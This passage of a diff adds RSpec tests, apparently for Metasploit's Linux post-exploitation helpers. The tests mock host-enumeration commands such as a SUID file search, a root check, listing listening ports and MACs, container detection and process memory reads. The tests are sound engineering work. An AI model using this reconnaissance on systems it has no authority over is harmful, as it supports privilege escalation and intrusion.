receive(:get_sysinfo).and_return({ kernel: '', distro: 'gentoo', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('sys-devel/gcc-4.3.2-r3') + allow(subject).to receive(:command_exists?).with('equery').and_return(true) + expect(subject.installed_package_version('test')).to eq(Rex::Version.new('4.3.2-r3')) + end + end + + context 'when the Gentoo package is installed and uses qlist' do + it 'returns 4.3.2-r3' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'gentoo', version: '' }) + # equery and qlist output the same results for a found package + allow(subject).to receive(:cmd_exec).and_return('sys-devel/gcc-4.3.2-r3') + allow(subject).to receive(:command_exists?).with('equery').and_return(false) + allow(subject).to receive(:command_exists?).with('qlist').and_return(true) + expect(subject.installed_package_version('test')).to eq(Rex::Version.new('4.3.2-r3')) + end + end + + context 'when the Gentoo package isnt installed and uses qlist' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'gentoo', version: '' }) + allow(subject).to receive(:command_exists?).with('equery').and_return(false) + allow(subject).to receive(:command_exists?).with('qlist').and_return(true) + allow(subject).to receive(:cmd_exec).and_return('') + expect(subject.installed_package_version('test')).to eq(nil) + end + end + + context 'when the Arch package is installed' do + it 'returns 8.12.1-1' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'arch', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('Version : 8.12.1-1') + expect(subject.installed_package_version('test')).to eq(Rex::Version.new('8.12.1-1')) + end + end + + context 'when the Arch package isnt installed' do + it 'returns nil' do + allow(subject).to receive(:get_sysinfo).and_return({ kernel: '', distro: 'arch', version: '' }) + allow(subject).to receive(:cmd_exec).and_return('error: package \'test\' was not found') + expect(subject.installed_package_version('test')).to eq(nil) + end + end + end +end diff --git a/spec/lib/msf/core/post/linux/priv_spec.rb b/spec/lib/msf/core/post/linux/priv_spec.rb new file mode 100644 index 0000000000000..c54268fb9756f --- /dev/null +++ b/spec/lib/msf/core/post/linux/priv_spec.rb @@ -0,0 +1,142 @@ +require 'spec_helper' + +RSpec.describe Msf::Post::Linux::Priv do + subject do + mod = Msf::Module.new + mod.extend(Msf::Post::Linux::Priv) + mod + end + + before do + allow(subject).to receive(:command_exists?).and_return(true) + allow(subject).to receive(:cmd_exec).and_return('') + end + + describe '#is_root?' do + context 'when the id command exists' do + it 'returns true if the user ID is 0' do + allow(subject).to receive(:cmd_exec).with('id -u').and_return('0') + expect(subject.is_root?).to be true + end + + it 'returns false if the user ID is not 0' do + allow(subject).to receive(:cmd_exec).with('id -u').and_return('1000') + expect(subject.is_root?).to be false + end + + it 'raises an error if the user ID cannot be determined' do + allow(subject).to receive(:cmd_exec).with('id -u').and_return('abc') + expect { subject.is_root? }.to raise_error(RuntimeError, 'Could not determine UID: "abc"') + end + end + end + + describe '#cp_cmd' do + it 'copies the content of one file to another' do + origin_file = '/path/to/origin' + final_file = '/path/to/destination' + file_content = 'file content' + + allow(subject).to receive(:read_file).with(origin_file).and_return(file_content) + expect(subject).to receive(:cmd_exec).with("echo '#{file_content}' > '#{final_file}'") + + subject.cp_cmd(origin_file, final_file) + end + end + + describe '#binary_of_pid' do + it 'retrieves the binary name of a process given its PID' do + pid = 1234 + cmdline_content = '/usr/bin/bash' + comm_content = 'bash' + + allow(subject).to receive(:read_file).with("/proc/#{pid}/cmdline").and_return(cmdline_content) + expect(subject.binary_of_pid(pid)).to eq('/usr/bin/bash') + + allow(subject).to receive(:read_file).with("/proc/#{pid}/cmdline").and_return('') + allow(subject).to receive(:read_file).with("/proc/#{pid}/comm").and_return(comm_content) + expect(subject.binary_of_pid(pid)).to eq('bash') + end + end + + describe '#seq' do + it 'generates a sequence of numbers from first to last with a given increment' do + expect(subject.seq(1, 2, 10)).to eq([1, 3, 5, 7, 9]) + expect(subject.seq(0, 5, 20)).to eq([0, 5, 10, 15, 20]) + end + end + + describe '#wc_cmd' do + it 'returns the number of lines, words, and characters in a file' do + file = '/path/to/file' + allow(subject).to receive(:nlines_file).with(file).and_return(10) + allow(subject).to receive(:nwords_file).with(file).and_return(20) + allow(subject).to receive(:nchars_file).with(file).and_return(100) + + expect(subject.wc_cmd(file)).to eq([10, 20, 100, file]) + end + end + + describe '#nchars_file' do + it 'returns the number of characters in a file' do + file = '/path/to/file' + file_content = "Hello\nWorld" + allow(subject).to receive(:read_file).with(file).and_return(file_content) + + # agrees with wc + # $ echo -n "Hello\nWorld" | wc -m + # 12 + expect(subject.nchars_file(file)).to eq(12) + end + end + + describe '#nwords_file' do + it 'returns the number of words in a file' do + file = '/path/to/file' + file_content = "Hello World\nThis is a test" + allow(subject).to receive(:read_file).with(file).and_return(file_content) + + expect(subject.nwords_file(file)).to eq(6) + end + end + + describe '#nlines_file' do + it 'returns the number of lines in a file' do + file = '/path/to/file' + file_content = "Hello\nWorld\nThis is a test" + allow(subject).to receive(:read_file).with(file).and_return(file_content) + + expect(subject.nlines_file(file)).to eq(3) + end + end + + describe '#head_cmd' do + it 'returns the first n lines of a file' do + file = '/path/to/file' + file_content = "Line 1\nLine 2\nLine 3\nLine 4\nLine 5" + allow(subject).to receive(:read_file).with(file).and_return(file_content) + + expect(subject.head_cmd(file, 3)).to eq(['Line 1', 'Line 2', 'Line 3']) + end + end + + describe '#tail_cmd' do + it 'returns the last n lines of a file' do + file = '/path/to/file' + file_content = "Line 1\nLine 2\nLine 3\nLine 4\nLine 5" + allow(subject).to receive(:read_file).with(file).and_return(file_content) + + expect(subject.tail_cmd(file, 3)).to eq(['Line 3', 'Line 4', 'Line 5']) + end + end + + describe '#grep_cmd' do + it 'searches for a specific string in a file and returns the lines that contain the string' do + file = '/path/to/file' + file_content = "Hello World\nThis is a test\nHello again" + allow(subject).to receive(:read_file).with(file).and_return(file_content) + + expect(subject.grep_cmd(file, 'Hello')).to eq(['Hello World', 'Hello again']) + end + end +end diff --git a/spec/lib/msf/core/post/linux/process_spec.rb b/spec/lib/msf/core/post/linux/process_spec.rb new file mode 100644 index 0000000000000..117efc311f59d --- /dev/null +++ b/spec/lib/msf/core/post/linux/process_spec.rb @@ -0,0 +1,39 @@ +require 'spec_helper' + +RSpec.describe Msf::Post::Linux::Process do + subject do + mod = Msf::Exploit.allocate + mod.extend(Msf::PostMixin) + mod.extend described_class + mod.send(:initialize, {}) + mod + end + + describe '#mem_read' do + let(:base_address) { 0x1000 } + let(:length) { 64 } + let(:pid) { 1234 } + let(:process) { double('Process', send: nil) } + let(:memory) { double('Memory', send: nil) } + let(:memory_content) { 'memory content' } + + before do + allow(subject).to receive_message_chain('session.sys.process.open').and_return(process) + allow(process).to receive(:memory).and_return(memory) + end + + it 'reads memory from the specified base address and length' do + expect(subject).to receive(:session) + expect(memory).to receive(:read).with(base_address, length).and_return(memory_content) + + expect(subject.mem_read(base_address, length, pid: pid)).to eq(memory_content) + end + + it 'uses the default pid if not specified' do + expect(subject).to receive(:session) + expect(memory).to receive(:read).with(base_address, length).and_return(memory_content) + + expect(subject.mem_read(base_address, length)).to eq(memory_content) + end + end +end diff --git a/spec/lib/msf/core/post/linux/system_spec.rb b/spec/lib/msf/core/post/linux/system_spec.rb new file mode 100644 index 0000000000000..66be7a3691b09 --- /dev/null +++ b/spec/lib/msf/core/post/linux/system_spec.rb @@ -0,0 +1,568 @@ +require 'spec_helper' + +RSpec.describe Msf::Post::Linux::System do + subject do + mod = Msf::Module.new + mod.extend(Msf::Post::Linux::System) + mod + end + + describe '#get_sysinfo' do + context 'when the system is Debian' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('debian_version') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.15.0-20-generic (buildd@lgw01-amd64)') + allow(subject).to receive(:read_file).with('/etc/issue').and_return('Debian GNU/Linux 9 \\n \\l') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('debian') + expect(sysinfo[:version]).to eq('Debian GNU/Linux 9') + expect(sysinfo[:kernel]).to eq('Linux version 4.15.0-20-generic (buildd@lgw01-amd64)') + end + end + + context 'when the system is Ubuntu' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('debian_version') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.15.0-20-generic (buildd@lgw01-amd64) Ubuntu') + allow(subject).to receive(:read_file).with('/etc/issue').and_return('Ubuntu 18.04.1 LTS \\n \\l') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('ubuntu') + expect(sysinfo[:version]).to eq('Ubuntu 18.04.1 LTS') + expect(sysinfo[:kernel]).to eq('Linux version 4.15.0-20-generic (buildd@lgw01-amd64) Ubuntu') + end + end + + context 'when the system is Amazon or CentOS' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('system-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.14.88-88.76.amzn2.x86_64 (mockbuild@gobi-build-60008) (gcc version 7.3.1 20180303 (Red Hat 7.3.1-5) (GCC))') + allow(subject).to receive(:read_file).with('/etc/system-release').and_return('Amazon Linux 2') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('amazon') + expect(sysinfo[:version]).to eq('Amazon Linux 2') + expect(sysinfo[:kernel]).to eq('Linux version 4.14.88-88.76.amzn2.x86_64 (mockbuild@gobi-build-60008) (gcc version 7.3.1 20180303 (Red Hat 7.3.1-5) (GCC))') + end + end + + context 'when the system is Alpine' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('alpine-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.19.0-0-virt (buildozer@build-3-10-x86_64)') + allow(subject).to receive(:read_file).with('/etc/alpine-release').and_return('3.10.2') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('alpine') + expect(sysinfo[:version]).to eq('3.10.2') + expect(sysinfo[:kernel]).to eq('Linux version 4.19.0-0-virt (buildozer@build-3-10-x86_64)') + end + end + + context 'when the system is Fedora' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('fedora-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 5.3.7-301.fc31.x86_64 (mockbuild@bkernel01.phx2.fedoraproject.org)') + allow(subject).to receive(:read_file).with('/etc/fedora-release').and_return('Fedora release 31 (Thirty One)') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('fedora') + expect(sysinfo[:version]).to eq('Fedora release 31 (Thirty One)') + expect(sysinfo[:kernel]).to eq('Linux version 5.3.7-301.fc31.x86_64 (mockbuild@bkernel01.phx2.fedoraproject.org)') + end + end + + context 'when the system is Oracle Linux' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('enterprise-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.14.35-1818.3.3.el7uek.x86_64 (mockbuild@x86-ol7-builder-02)') + allow(subject).to receive(:read_file).with('/etc/enterprise-release').and_return('Oracle Linux Server release 7.6') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('oracle') + expect(sysinfo[:version]).to eq('Oracle Linux Server release 7.6') + expect(sysinfo[:kernel]).to eq('Linux version 4.14.35-1818.3.3.el7uek.x86_64 (mockbuild@x86-ol7-builder-02)') + end + end + + context 'when the system is RedHat' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('redhat-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 3.10.0-957.21.3.el7.x86_64 (mockbuild@x86-01.bsys.centos.org)') + allow(subject).to receive(:read_file).with('/etc/redhat-release').and_return('Red Hat Enterprise Linux Server release 7.6 (Maipo)') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('redhat') + expect(sysinfo[:version]).to eq('Red Hat Enterprise Linux Server release 7.6 (Maipo)') + expect(sysinfo[:kernel]).to eq('Linux version 3.10.0-957.21.3.el7.x86_64 (mockbuild@x86-01.bsys.centos.org)') + end + end + + context 'when the system is Arch' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('arch-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 5.3.7-arch1-1-ARCH (builduser@heftig-29959)') + allow(subject).to receive(:read_file).with('/etc/arch-release').and_return('Arch Linux') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('arch') + expect(sysinfo[:version]).to eq('Arch Linux') + expect(sysinfo[:kernel]).to eq('Linux version 5.3.7-arch1-1-ARCH (builduser@heftig-29959)') + end + end + + context 'when the system is Slackware' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('slackware-version') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.4.14 (root@darkstar)') + allow(subject).to receive(:read_file).with('/etc/slackware-version').and_return('Slackware 14.2') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('slackware') + expect(sysinfo[:version]).to eq('Slackware 14.2') + expect(sysinfo[:kernel]).to eq('Linux version 4.4.14 (root@darkstar)') + end + end + + context 'when the system is Mandrake' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('mandrake-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 2.6.12-12mdk (nplanel@no.mandriva.com)') + allow(subject).to receive(:read_file).with('/etc/mandrake-release').and_return('Mandrake Linux release 10.2 (Limited Edition 2005)') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('mandrake') + expect(sysinfo[:version]).to eq('Mandrake Linux release 10.2 (Limited Edition 2005)') + expect(sysinfo[:kernel]).to eq('Linux version 2.6.12-12mdk (nplanel@no.mandriva.com)') + end + end + + context 'when the system is SuSE' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('SuSE-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.12.14-lp151.28.36-default (geeko@buildhost)') + allow(subject).to receive(:read_file).with('/etc/SuSE-release').and_return('openSUSE Leap 15.1') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('suse') + expect(sysinfo[:version]).to eq('openSUSE Leap 15.1') + expect(sysinfo[:kernel]).to eq('Linux version 4.12.14-lp151.28.36-default (geeko@buildhost)') + end + end + + context 'when the system is OpenSUSE' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('SUSE-brand') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.12.14-lp151.28.36-default (geeko@buildhost)') + allow(subject).to receive(:read_file).with('/etc/SUSE-brand').and_return('VERSION = 15.1') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('suse') + expect(sysinfo[:version]).to eq('15.1') + expect(sysinfo[:kernel]).to eq('Linux version 4.12.14-lp151.28.36-default (geeko@buildhost)') + end + end + + context 'when the system is Gentoo' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('gentoo-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.19.57-gentoo (root@localhost)') + allow(subject).to receive(:read_file).with('/etc/gentoo-release').and_return('Gentoo Base System release 2.6') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('gentoo') + expect(sysinfo[:version]).to eq('Gentoo Base System release 2.6') + expect(sysinfo[:kernel]).to eq('Linux version 4.19.57-gentoo (root@localhost)') + end + end + + context 'when the system is Openwall' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('owl-release') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 2.6.32-431.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org)') + allow(subject).to receive(:read_file).with('/etc/owl-release').and_return('Openwall GNU/*/Linux 3.1 (2014-09-26)') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('openwall') + expect(sysinfo[:version]).to eq('Openwall GNU/*/Linux 3.1 (2014-09-26)') + expect(sysinfo[:kernel]).to eq('Linux version 2.6.32-431.el6.x86_64 (mockbuild@c6b8.bsys.dev.centos.org)') + end + end + + context 'when the system is Generic Linux' do + it 'returns the correct system information' do + allow(subject).to receive(:cmd_exec).with('ls /etc').and_return('issue') + allow(subject).to receive(:cmd_exec).with('uname -a').and_return('Linux version 4.19.0-0-virt (buildozer@build-3-10-x86_64)') + allow(subject).to receive(:read_file).with('/etc/issue').and_return('Generic Linux') + allow(subject).to receive(:report_host) + + sysinfo = subject.get_sysinfo + + expect(sysinfo[:distro]).to eq('linux') + expect(sysinfo[:version]).to eq('Generic Linux') + expect(sysinfo[:kernel]).to eq('Linux version 4.19.0-0-virt (buildozer@build-3-10-x86_64)') + end + end + end + + describe '#get_suid_files' do + context 'when there are no permission denied errors' do + it 'returns the list of SUID files' do + suid_files = "/usr/bin/passwd\n/usr/bin/sudo\n" + allow(subject).to receive(:cmd_exec).with('find / -perm -4000 -print -xdev').and_return(suid_files) + + result = subject.get_suid_files + + expect(result).to eq(['/usr/bin/passwd', '/usr/bin/sudo']) + end + end + + context 'when there are permission denied errors' do + it 'filters out the permission denied errors' do + suid_files = "/usr/bin/passwd\nfind: ‘/root’: Permission denied\n/usr/bin/sudo\n" + allow(subject).to receive(:cmd_exec).with('find / -perm -4000 -print -xdev').and_return(suid_files) + + result = subject.get_suid_files + + expect(result).to eq(['/usr/bin/passwd', '/usr/bin/sudo']) + end + end + + context 'when an error occurs' do + it 'raises an error' do + allow(subject).to receive(:cmd_exec).with('find / -perm -4000 -print -xdev').and_raise(StandardError) + + expect { subject.get_suid_files }.to raise_error('Could not retrieve all SUID files') + end + end + end + + describe '#get_path' do + it 'returns the system path' do + allow(subject).to receive(:cmd_exec).with('echo $PATH').and_return('/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin') + expect(subject.get_path).to eq('/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin') + end + + it 'raises an error if unable to determine path' do + allow(subject).to receive(:cmd_exec).with('echo $PATH').and_raise(StandardError) + expect { subject.get_path }.to raise_error('Unable to determine path') + end + end + + describe '#get_cpu_info' do + it 'returns the CPU information' do + cpuinfo = "processor\t: 0\nvendor_id\t: GenuineIntel\ncpu MHz\t\t: 2400.000\nmodel name\t: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz\n" + allow(subject).to receive(:read_file).with('/proc/cpuinfo').and_return(cpuinfo) + expect(subject.get_cpu_info).to eq({ speed_mhz: 2400, product: 'Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz', vendor: 'GenuineIntel', cores: 1 }) + end + + it 'raises an error if unable to get CPU information' do + allow(subject).to receive(:read_file).with('/proc/cpuinfo').and_raise(StandardError) + expect { subject.get_cpu_info }.to raise_error('Could not get CPU information') + end + end + + describe '#get_hostname' do + it 'returns the hostname using uname' do + allow(subject).to receive(:command_exists?).with('uname').and_return(true) + allow(subject).to receive(:cmd_exec).with('uname -n').and_return('test-hostname') + allow(subject).to receive(:report_host) + expect(subject.get_hostname).to eq('test-hostname') + end + + it 'returns the hostname using /proc/sys/kernel/hostname' do + allow(subject).to receive(:command_exists?).with('uname').and_return(false) + allow(subject).to receive(:read_file).with('/proc/sys/kernel/hostname').and_return('test-hostname') + allow(subject).to receive(:report_host) + expect(subject.get_hostname).to eq('test-hostname') + end + + it 'raises an error if unable to retrieve hostname' do + allow(subject).to receive(:cmd_exec).with('uname -n').and_raise(StandardError) + expect { subject.get_hostname }.to raise_error('Unable to retrieve hostname') + end + end + + describe '#get_shell_name' do + it 'returns the shell name using ps' do + allow(subject).to receive(:command_exists?).with('ps').and_return(true) + allow(subject).to receive(:cmd_exec).with('ps -p $$').and_return("PID TTY TIME CMD\n 1 ? 00:00:00 bash") + expect(subject.get_shell_name).to eq('bash') + end + + it 'returns the shell name using echo $0' do + allow(subject).to receive(:command_exists?).with('ps').and_return(false) + allow(subject).to receive(:cmd_exec).with('echo $0').and_return('-bash') + expect(subject.get_shell_name).to eq('bash') + end + + it 'raises an error if unable to gather shell name' do + allow(subject).to receive(:cmd_exec).with('ps -p $$').and_raise(StandardError) + expect { subject.get_shell_name }.to raise_error('Unable to gather shell name') + end + end + + describe '#get_shell_pid' do + it 'returns the shell pid' do + allow(subject).to receive(:cmd_exec).with('echo $$').and_return('1234') + expect(subject.get_shell_pid).to eq('1234') + end + end + + describe '#has_gcc?' do + it 'returns true if gcc is installed' do + allow(subject).to receive(:command_exists?).with('gcc').and_return(true) + expect(subject.has_gcc?).to be true + end + + it 'raises an error if unable to check for gcc' do + allow(subject).to receive(:command_exists?).with('gcc').and_raise(StandardError) + expect { subject.has_gcc? }.to raise_error('Unable to check for gcc') + end + end + + describe '#has_clang?' do + it 'returns true if clang is installed' do + allow(subject).to receive(:command_exists?).with('clang').and_return(true) + expect(subject.has_clang?).to be true + end + + it 'raises an error if unable to check for clang' do + allow(subject).to receive(:command_exists?).with('clang').and_raise(StandardError) + expect { subject.has_clang? }.to raise_error('Unable to check for clang') + end + end + + describe '#noexec?' do + it 'returns true if the file path is mounted on a noexec mount point' do + mount_content = "/dev/sda1 / ext4 rw,noexec 0 0\n" + allow(subject).to receive(:read_file).with('/proc/mounts').and_return(mount_content) + allow(subject).to receive(:get_mount_path).with('/path/to/file').and_return('/') + expect(subject.noexec?('/path/to/file')).to be true + end + + it 'raises an error if unable to check for noexec volume' do + allow(subject).to receive(:read_file).with('/proc/mounts').and_raise(StandardError) + expect { subject.noexec?('/path/to/file') }.to raise_error('Unable to check for noexec volume') + end + end + + describe '#nosuid?' do + it 'returns true if the file path is mounted on a nosuid mount point' do + mount_content = "/dev/sda1 / ext4 rw,nosuid 0 0\n" + allow(subject).to receive(:read_file).with('/proc/mounts').and_return(mount_content) + allow(subject).to receive(:get_mount_path).with('/path/to/file').and_return('/') + expect(subject.nosuid?('/path/to/file')).to be true + end + + it 'raises an error if unable to check for nosuid volume' do + allow(subject).to receive(:read_file).with('/proc/mounts').and_raise(StandardError) + expect { subject.nosuid?('/path/to/file') }.to raise_error('Unable to check for nosuid volume') + end + end + + describe '#protected_hardlinks?' do + it 'returns true if protected hardlinks are enabled' do + allow(subject).to receive(:read_file).with('/proc/sys/fs/protected_hardlinks').and_return('1') + expect(subject.protected_hardlinks?).to be true + end + + it 'raises an error if unable to determine protected_hardlinks status' do + allow(subject).to receive(:read_file).with('/proc/sys/fs/protected_hardlinks').and_raise(StandardError) + expect { subject.protected_hardlinks? }.to raise_error('Could not determine protected_hardlinks status') + end + end + + describe '#protected_symlinks?' do + it 'returns true if protected symlinks are enabled' do + allow(subject).to receive(:read_file).with('/proc/sys/fs/protected_symlinks').and_return('1') + expect(subject.protected_symlinks?).to be true + end + + it 'raises an error if unable to determine protected_symlinks status' do + allow(subject).to receive(:read_file).with('/proc/sys/fs/protected_symlinks').and_raise(StandardError) + expect { subject.protected_symlinks? }.to raise_error('Could not determine protected_symlinks status') + end + end + + describe '#glibc_version' do + it 'returns the glibc version' do + allow(subject).to receive(:command_exists?).with('ldd').and_return(true) + allow(subject).to receive(:cmd_exec).with('ldd --version').and_return('ldd (GNU libc) 2.27') + expect(subject.glibc_version).to eq('2.27') + end + + it 'raises an error if glibc is not installed' do + allow(subject).to receive(:command_exists?).with('ldd').and_return(false) + expect { subject.glibc_version }.to raise_error('glibc is not installed') + end + + it 'raises an error if unable to determine glibc version' do + allow(subject).to receive(:command_exists?).with('ldd').and_return(true) + allow(subject).to receive(:cmd_exec).with('ldd --version').and_raise(StandardError) + expect { subject.glibc_version }.to raise_error('Could not determine glibc version') + end + end + + describe '#get_mount_path' do + it 'returns the mount path of the file' do + allow(subject).to receive(:cmd_exec).with('df "/path/to/file" | tail -1').and_return('/dev/sda1 101141520 52963696 42993928 56% /') + expect(subject.get_mount_path('/path/to/file')).to eq('/') + end + + it 'raises an error if unable to get mount path' do + allow(subject).to receive(:cmd_exec).with('df "/path/to/file" | tail -1').and_raise(StandardError) + expect { subject.get_mount_path('/path/to/file') }.to raise_error('Unable to get mount path of /path/to/file') + end + end + + describe '#ips' do + it 'returns all IP addresses of the device' do + # content from https://medium.com/@linuxadminhacks/find-the-names-of-the-network-interfaces-by-their-ips-4ef82326e49e + fib_trie_content = "Main:\n +-- 0.0.0.0/0 3 0 5\n +-- 192.168.1.0/24 2 0 2\n +-- 192.168.1.0/30 2 0 2\n |-- 192.168.1.3\n /32 host LOCAL" + allow(subject).to receive(:read_file).with('/proc/net/fib_trie').and_return(fib_trie_content) + expect(subject.ips).to eq(['192.168.1.3']) + end + end + + describe '#interfaces' do + it 'returns all interfaces of the device' do + interfaces_content = "/sys/class/net/eth0\n/sys/class/net/lo\n" + allow(subject).to receive(:cmd_exec).with('for fn in /sys/class/net/*; do echo $fn; done').and_return(interfaces_content) + expect(subject.interfaces).to eq(['eth0', 'lo']) + end + end + + describe '#macs' do + it 'returns all MAC addresses of the device' do + macs_content = "/sys/class/net/eth0\n/sys/class/net/lo\n" + allow(subject).to receive(:cmd_exec).with('for fn in /sys/class/net/*; do echo $fn; done').and_return(macs_content) + allow(subject).to receive(:read_file).with('/sys/class/net/eth0/address').and_return('00:11:22:33:44:55') + allow(subject).to receive(:read_file).with('/sys/class/net/lo/address').and_return('00:00:00:00:00:00') + allow(subject).to receive(:report_host) + expect(subject.macs).to eq(['00:11:22:33:44:55', '00:00:00:00:00:00']) + end + end + + describe '#listen_tcp_ports' do + it 'returns all listening TCP ports of the device' do + tcp_content = " 0: 0100007F:0016 00000000:0000 0A\n" + allow(subject).to receive(:read_file).with('/proc/net/tcp').and_return(tcp_content) + expect(subject.listen_tcp_ports).to eq([22]) + end + end + + describe '#listen_udp_ports' do + it 'returns all listening UDP ports of the device' do + udp_content = " 0: 0100007F:0035 00000000:0000 07\n" + allow(subject).to receive(:read_file).with('/proc/net/udp').and_return(udp_content) + expect(subject.listen_udp_ports).to eq([53]) + end + end + + describe '#get_container_type' do + it 'returns Docker if /.dockerenv exists' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(true) + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('Docker') + end + + it 'returns Docker if /.dockerinit exists' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(true) + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('Docker') + end + + it 'returns Podman if /run/.containerenv exists' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(false) + allow(subject).to receive(:file?).with('/run/.containerenv').and_return(true) + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('Podman') + end + + it 'returns LXC if /dev/lxc exists' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(false) + allow(subject).to receive(:file?).with('/run/.containerenv').and_return(false) + allow(subject).to receive(:directory?).with('/dev/lxc').and_return(true) + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('LXC') + end + + it 'returns WSL if /proc/sys/kernel/osrelease contains WSL' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(false) + allow(subject).to receive(:file?).with('/run/.containerenv').and_return(false) + allow(subject).to receive(:directory?).with('/dev/lxc').and_return(false) + allow(subject).to receive(:file?).with('/proc/sys/kernel/osrelease').and_return(true) + allow(subject).to receive(:read_file).with('/proc/sys/kernel/osrelease').and_return(['4.4.0-19041-Microsoft']) + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('WSL') + end + + it 'returns Docker if /proc/1/cgroup contains docker' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(false) + allow(subject).to receive(:file?).with('/run/.containerenv').and_return(false) + allow(subject).to receive(:directory?).with('/dev/lxc').and_return(false) + allow(subject).to receive(:file?).with('/proc/sys/kernel/osrelease').and_return(false) + allow(subject).to receive(:read_file).with('/proc/1/cgroup').and_return('1:name=systemd:/docker/1234567890abcdef') + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('Docker') + end + + it 'returns LXC if /proc/1/cgroup contains lxc' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(false) + allow(subject).to receive(:file?).with('/run/.containerenv').and_return(false) + allow(subject).to receive(:directory?).with('/dev/lxc').and_return(false) + allow(subject).to receive(:file?).with('/proc/sys/kernel/osrelease').and_return(false) + allow(subject).to receive(:read_file).with('/proc/1/cgroup').and_return('1:name=systemd:/lxc/1234567890abcdef') + allow(subject).to receive(:report_host) + expect(subject.get_container_type).to eq('LXC') + end + + it 'returns Unknown if no container type is detected' do + allow(subject).to receive(:file?).with('/.dockerenv').and_return(false) + allow(subject).to receive(:file?).with('/.dockerinit').and_return(false) + allow(subject).to receive(:file?).with('/run/.containerenv').and_return(false) + allow(subject).to receive(:directory?).with('/dev/lxc').and_return(false) + allow(subject).to 